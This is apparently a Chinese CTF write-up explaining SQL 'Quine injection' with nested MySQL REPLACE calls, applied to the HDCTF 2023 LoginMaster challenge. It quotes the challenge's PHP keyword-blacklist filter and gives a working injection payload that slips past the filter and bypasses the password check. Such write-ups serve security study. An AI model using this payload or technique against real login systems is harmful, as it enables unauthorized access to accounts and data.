什么是Quine

Quine又称为自产生程序,Quine注入就是使用输入的SQL语句和输出的SQL相一致的技术,让查询语句的结果与输入语句相同来达到判断成功的效果。

replace函数

1
2
replace(object,search,replace)
#object是原字符串,search是要替换的子串,replace是替换完后的子串

例如:

1
2
3
4
5
6
7
mysql> select replace("dragonkeep",char(100),'D');
+-------------------------------------+
| replace("dragonkeep",char(100),'D') |
+-------------------------------------+
| Dragonkeep |
+-------------------------------------+
1 row in set (0.00 sec)

这里成功将字符d替换为D

嵌套使用一下

1
2
3
4
5
6
7
select REPLACE('REPLACE(".",CHAR(46),".")',CHAR(46),'REPLACE(".",CHAR(46),".")');
+---------------------------------------------------------------------------+
| REPLACE('REPLACE(".",CHAR(46),".")',CHAR(46),'REPLACE(".",CHAR(46),".")') |
+---------------------------------------------------------------------------+
| REPLACE("REPLACE(".",CHAR(46),".")",CHAR(46),"REPLACE(".",CHAR(46),".")") |
+---------------------------------------------------------------------------+
1 row in set (0.00 sec)

是不是傻了,有点像学完1+1就得会高数了(bushi)…

简单剖析一下

最外层执行REPLACE后,就变成:

1
SELECT REPLACE("REPLACE(".",CHAR(46),".")",CHAR(46),"REPLACE(".",CHAR(46),".")")

不难发现最后的引号是双引号,跟原来的单引号不一致。目的只有一个就是让原语句跟输出语句一致。

解决引号的问题

1
replace('"."',char(34),char(39))

套上去后:

1
select replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")');

看上去很长,其实就是递归思想,拆解一下就好理解

1
2
3
4
5
6
7
 select replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")');
+------------------------------------------------------------------------------------------------------------------------------------------------------------+
| replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")') |
+------------------------------------------------------------------------------------------------------------------------------------------------------------+
| replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")') |
+------------------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)

此时可以发现输入与输出保持一致了。这里的char函数和0x、chr三个等价替换。

实例分析

[HDCTF 2023]LoginMaster

访问robots.txt,发现部分源码

1
2
3
4
5
6
7
8
9
10
function checkSql($s) 
{
if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
alertMes('hacker', 'index.php');
}
}
if ($row['password'] === $password) {
die($FLAG);
} else {
alertMes("wrong password",'index.php');

我们可以发现关键代码:

1
2
3
4
if ($row['password'] === $password) {
die($FLAG);
} else {
alertMes("wrong password",'index.php');

构造poc:

1
1'/**/union/**/select/**/replace(replace('1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')#